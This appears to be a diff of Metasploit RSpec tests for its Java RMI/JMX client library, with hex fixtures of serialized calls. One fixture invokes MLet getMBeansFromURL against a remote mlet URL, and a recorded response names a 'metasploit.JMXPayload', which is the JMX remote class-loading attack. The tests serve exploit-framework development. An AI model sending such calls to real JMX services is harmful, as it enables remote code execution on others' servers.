||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -3,12 +3,12 @@ require 'spec_helper'
|
|||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
require 'msf/java/rmi/builder'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Streams do
|
||||
describe Msf::Java::Rmi::Builder do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.extend ::Msf::Java::Rmi::Builder
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
@ -22,13 +22,27 @@ describe Msf::Java::Rmi::Client::Streams do
|
|||
end
|
||||
let(:opts_header) { "JRMI\x00\x01\x4d" }
|
||||
|
||||
let(:default_call) { "\x50\xac\xed\x00\x05" }
|
||||
let(:default_call) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
let(:call_opts) do
|
||||
{
|
||||
:message_id => Rex::Proto::Rmi::Model::PING_MESSAGE
|
||||
message_id: Rex::Proto::Rmi::Model::CALL_MESSAGE,
|
||||
object_number: 2,
|
||||
uid_number: 0,
|
||||
uid_time: 0,
|
||||
uid_count: 0,
|
||||
operation: 0,
|
||||
hash: 0xf6b6898d8bf28643
|
||||
}
|
||||
end
|
||||
let(:opts_call) { "\x52\xac\xed\x00\x05" }
|
||||
let(:opts_call) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
|
||||
end
|
||||
|
||||
let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" }
|
||||
let(:dgc_ack_opts) do
|
|
@ -0,0 +1,216 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Jmx::Connection::Builder do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:mlet_name) do
|
||||
'DefaultDomain:type=MLet'
|
||||
end
|
||||
|
||||
let(:default_get_object_instance) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70"
|
||||
end
|
||||
|
||||
let(:mlet_get_object_instance) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70"
|
||||
end
|
||||
|
||||
let(:mbean_name) do
|
||||
'javax.management.loading.MLet'
|
||||
end
|
||||
|
||||
let(:default_create_mbean) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x00\x70\x70"
|
||||
end
|
||||
|
||||
let(:mlet_create_mbean) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x1d\x6a\x61\x76\x61" +
|
||||
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6c\x6f\x61" +
|
||||
"\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x70\x70"
|
||||
end
|
||||
|
||||
let(:invoke_opts) do
|
||||
{
|
||||
object: 'DefaultDomain:type=MLet',
|
||||
method: 'getMBeansFromURL',
|
||||
args: { 'java.lang.String' => "http://127.0.0.1/mlet" }
|
||||
}
|
||||
end
|
||||
|
||||
let(:default_invoke) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20\x73\x72\x00\x1b\x6a\x61\x76" +
|
||||
"\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62" +
|
||||
"\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf" +
|
||||
"\x03\x00\x00\x70\x78\x70\x74\x00\x00\x78\x74\x00\x00\x73\x72\x00" +
|
||||
"\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x4d\x61\x72\x73\x68\x61" +
|
||||
"\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74\x7c\xbd\x1e\x97\xed\x63" +
|
||||
"\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5b\x00\x08\x6c" +
|
||||
"\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x5b\x00\x08\x6f" +
|
||||
"\x62\x6a\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x70\x78\x70\x72" +
|
||||
"\x69\x21\xc6\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" +
|
||||
"\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x2c\xac\xed\x00\x05" +
|
||||
"\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e" +
|
||||
"\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02" +
|
||||
"\x00\x00\x78\x70\x00\x00\x00\x00\x75\x72\x00\x13\x5b\x4c\x6a\x61" +
|
||||
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad" +
|
||||
"\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00" +
|
||||
"\x00\x70"
|
||||
end
|
||||
|
||||
let(:invoke_with_data) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x00\x70\x70"
|
||||
end
|
||||
|
||||
describe "#build_jmx_get_object_instance" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_jmx_new_client).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a getObjectInstance call for an empty object name" do
|
||||
expect(mod.build_jmx_new_client.encode).to eq(default_get_object_instance)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts with class name" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_jmx_new_client(name: mlet_name)).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a getObjectInstance Call with credentials" do
|
||||
expect(mod.build_jmx_new_client(name: mlet_name).encode).to eq(mlet_get_object_instance)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_jmx_new_client_args" do
|
||||
it "return an Array" do
|
||||
expect(mod.build_jmx_get_object_instance_args(mlet_name)).to be_an(Array)
|
||||
end
|
||||
|
||||
it "returns an Array with 4 elements" do
|
||||
expect(mod.build_jmx_get_object_instance_args(mlet_name).length).to eq(4)
|
||||
end
|
||||
|
||||
it "returns an Array whose second element is an utf string with the object name" do
|
||||
expect(mod.build_jmx_get_object_instance_args(mlet_name)[1].contents).to eq(mlet_name)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_jmx_create_mbean" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_jmx_create_mbean).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a createMBean call for an empty object name" do
|
||||
expect(mod.build_jmx_create_mbean.encode).to eq(default_create_mbean)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts with class name" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_jmx_create_mbean(name: mbean_name)).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a createMBean Call with credentials" do
|
||||
expect(mod.build_jmx_create_mbean(name: mbean_name).encode).to eq(mlet_create_mbean)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_jmx_create_mbean_args" do
|
||||
it "return an Array" do
|
||||
expect(mod.build_jmx_create_mbean_args(mbean_name)).to be_an(Array)
|
||||
end
|
||||
|
||||
it "returns an Array with 3 elements" do
|
||||
expect(mod.build_jmx_create_mbean_args(mbean_name).length).to eq(3)
|
||||
end
|
||||
|
||||
it "returns an Array whose first element is an utf string with the object name" do
|
||||
expect(mod.build_jmx_create_mbean_args(mbean_name)[0].contents).to eq(mbean_name)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe "#build_jmx_invoke" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_jmx_invoke).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a default invoke" do
|
||||
expect(mod.build_jmx_invoke.encode).to eq(default_invoke)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts with class name" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_jmx_create_mbean(invoke_opts)).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a invoke call with the opts data" do
|
||||
expect(mod.build_jmx_create_mbean(invoke_opts).encode).to eq(invoke_with_data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_jmx_invoke_args" do
|
||||
it "return an Array" do
|
||||
expect(mod.build_jmx_invoke_args(invoke_opts)).to be_an(Array)
|
||||
end
|
||||
|
||||
it "returns an Array with 7 elements" do
|
||||
expect(mod.build_jmx_invoke_args(invoke_opts).length).to eq(7)
|
||||
end
|
||||
|
||||
it "returns an Array whose second element is an utf string with the object name" do
|
||||
expect(mod.build_jmx_invoke_args(invoke_opts)[1].contents).to eq(mlet_name)
|
||||
end
|
||||
|
||||
it "returns an Array whose third element is an utf string with the method name" do
|
||||
expect(mod.build_jmx_invoke_args(invoke_opts)[3].contents).to eq('getMBeansFromURL')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_invoke_arguments_obj_bytes" do
|
||||
it "return an Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args])).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "returns an stream with one content" do
|
||||
expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args]).contents.length).to eq(1)
|
||||
end
|
||||
|
||||
it "returns an stream with NewArray" do
|
||||
expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args]).contents[0]).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,157 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
require 'stringio'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Jmx::Connection do
|
||||
|
||||
let(:name_get) { 'DefaultDomain:type=MLet' }
|
||||
|
||||
let(:get_object_instance_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" +
|
||||
"\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" +
|
||||
"\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" +
|
||||
"\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" +
|
||||
"\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" +
|
||||
"\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" +
|
||||
"\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" +
|
||||
"\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" +
|
||||
"\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" +
|
||||
"\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" +
|
||||
"\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" +
|
||||
"\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" +
|
||||
"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" +
|
||||
"\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" +
|
||||
"\x65\x3d\x4d\x4c\x65\x74\x78"
|
||||
end
|
||||
|
||||
let(:name_create) { 'javax.management.loading.MLet' }
|
||||
|
||||
let(:create_mbean_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" +
|
||||
"\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" +
|
||||
"\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" +
|
||||
"\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" +
|
||||
"\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" +
|
||||
"\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" +
|
||||
"\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" +
|
||||
"\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" +
|
||||
"\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" +
|
||||
"\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" +
|
||||
"\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" +
|
||||
"\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" +
|
||||
"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" +
|
||||
"\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" +
|
||||
"\x65\x3d\x4d\x4c\x65\x74\x78"
|
||||
end
|
||||
|
||||
let(:invoke_args) do
|
||||
{
|
||||
object: 'DefaultDomain:type=MLet',
|
||||
method: 'getMBeansFromURL',
|
||||
args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' }
|
||||
}
|
||||
end
|
||||
|
||||
let(:invoke_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" +
|
||||
"\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" +
|
||||
"\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" +
|
||||
"\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" +
|
||||
"\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" +
|
||||
"\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" +
|
||||
"\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" +
|
||||
"\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" +
|
||||
"\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" +
|
||||
"\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" +
|
||||
"\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" +
|
||||
"\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" +
|
||||
"\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" +
|
||||
"\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" +
|
||||
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
|
||||
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
|
||||
"\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" +
|
||||
"\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" +
|
||||
"\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78"
|
||||
end
|
||||
|
||||
let(:remote_address) do
|
||||
'172.16.158.132'
|
||||
end
|
||||
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:io) { StringIO.new('', 'w+b') }
|
||||
|
||||
describe "#send_jmx_get_object_instance" do
|
||||
context "when the object exists" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(get_object_instance_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(mod.send_jmx_get_object_instance(sock: io, name: name_get)).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_jmx_create_mbean" do
|
||||
context "when the object is created successfully" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(create_mbean_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(mod.send_jmx_create_mbean(sock: io, name: name_create)).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_jmx_invoke" do
|
||||
context "when the remote method is called successfully" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(invoke_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(mod.send_jmx_invoke(invoke_args.merge(sock: io))).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Jmx::Server::Builder do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:default_new_client) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70"
|
||||
end
|
||||
|
||||
let(:auth_stream) do
|
||||
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
|
||||
"\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
|
||||
"\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" +
|
||||
"\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64"
|
||||
end
|
||||
|
||||
let(:credentials_new_client) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
|
||||
"\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x75\x72\x00\x13\x5b\x4c\x6a" +
|
||||
"\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b" +
|
||||
"\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00" +
|
||||
"\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74\x00\x08\x70\x61\x73\x73" +
|
||||
"\x77\x6f\x72\x64"
|
||||
end
|
||||
|
||||
let(:new_client_opts) do
|
||||
{
|
||||
username: 'role',
|
||||
password: 'password'
|
||||
}
|
||||
end
|
||||
|
||||
describe "#build_jmx_new_client" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_jmx_new_client).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a lookup Call for an empty name" do
|
||||
expect(mod.build_jmx_new_client.encode).to eq(default_new_client)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts with credentials" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_jmx_new_client(new_client_opts)).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a newClient Call with credentials" do
|
||||
expect(mod.build_jmx_new_client(new_client_opts).encode).to eq(credentials_new_client)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_jmx_new_client_args" do
|
||||
it "return an Array" do
|
||||
expect(mod.build_jmx_new_client_args('role', 'password')).to be_an(Array)
|
||||
end
|
||||
|
||||
it "returns an Array with a Rex::Java::Serialization::Model::NewArray" do
|
||||
expect(mod.build_jmx_new_client_args('role', 'password')[0]).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "builds a correct stream" do
|
||||
expect(mod.build_jmx_new_client_args('role', 'password')[0].encode).to eq(auth_stream)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,74 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Jmx::Server::Parser do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:new_client_return) do
|
||||
raw = "\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c\x48" +
|
||||
"\x27\x84\x49\x80\xb8\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e\x6d" +
|
||||
"\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74\x65" +
|
||||
"\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69" +
|
||||
"\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e" +
|
||||
"\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74" +
|
||||
"\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00" +
|
||||
"\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65" +
|
||||
"\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63" +
|
||||
"\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77" +
|
||||
"\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31" +
|
||||
"\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13" +
|
||||
"\x26\x08\xd9\x72\x63\x38\x4c\x6b\x7c\x82\x73\x92\x35\x00\x00\x01" +
|
||||
"\x4c\x48\x27\x84\x49\x80\xb7\x01\x78"
|
||||
io = StringIO.new(raw, 'rb')
|
||||
rv = Rex::Proto::Rmi::Model::ReturnValue.new
|
||||
rv.decode(io)
|
||||
|
||||
rv
|
||||
end
|
||||
|
||||
let(:remote_object) { 'javax.management.remote.rmi.RMIConnectionImpl_Stub' }
|
||||
let(:remote_interface) do
|
||||
{
|
||||
address: '172.16.158.132',
|
||||
port: 4902,
|
||||
object_number: 637666592721496956
|
||||
}
|
||||
end
|
||||
|
||||
describe "#parse_jmx_new_client_endpoint" do
|
||||
it "returns the remote reference information in a Hash" do
|
||||
expect(mod.parse_jmx_new_client_endpoint(new_client_return)).to be_a(Hash)
|
||||
end
|
||||
|
||||
it "returns the remote address" do
|
||||
ref = mod.parse_jmx_new_client_endpoint(new_client_return)
|
||||
expect(ref[:address]).to eq(remote_interface[:address])
|
||||
end
|
||||
|
||||
it "returns the remote port" do
|
||||
ref = mod.parse_jmx_new_client_endpoint(new_client_return)
|
||||
expect(ref[:port]).to eq(remote_interface[:port])
|
||||
end
|
||||
|
||||
it "returns the remote object number" do
|
||||
ref = mod.parse_jmx_new_client_endpoint(new_client_return)
|
||||
expect(ref[:object_number]).to eq(remote_interface[:object_number])
|
||||
end
|
||||
|
||||
it "returns the remote object unique identifier" do
|
||||
ref = mod.parse_jmx_new_client_endpoint(new_client_return)
|
||||
expect(ref[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
require 'stringio'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Jmx::Server do
|
||||
|
||||
let(:new_client_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
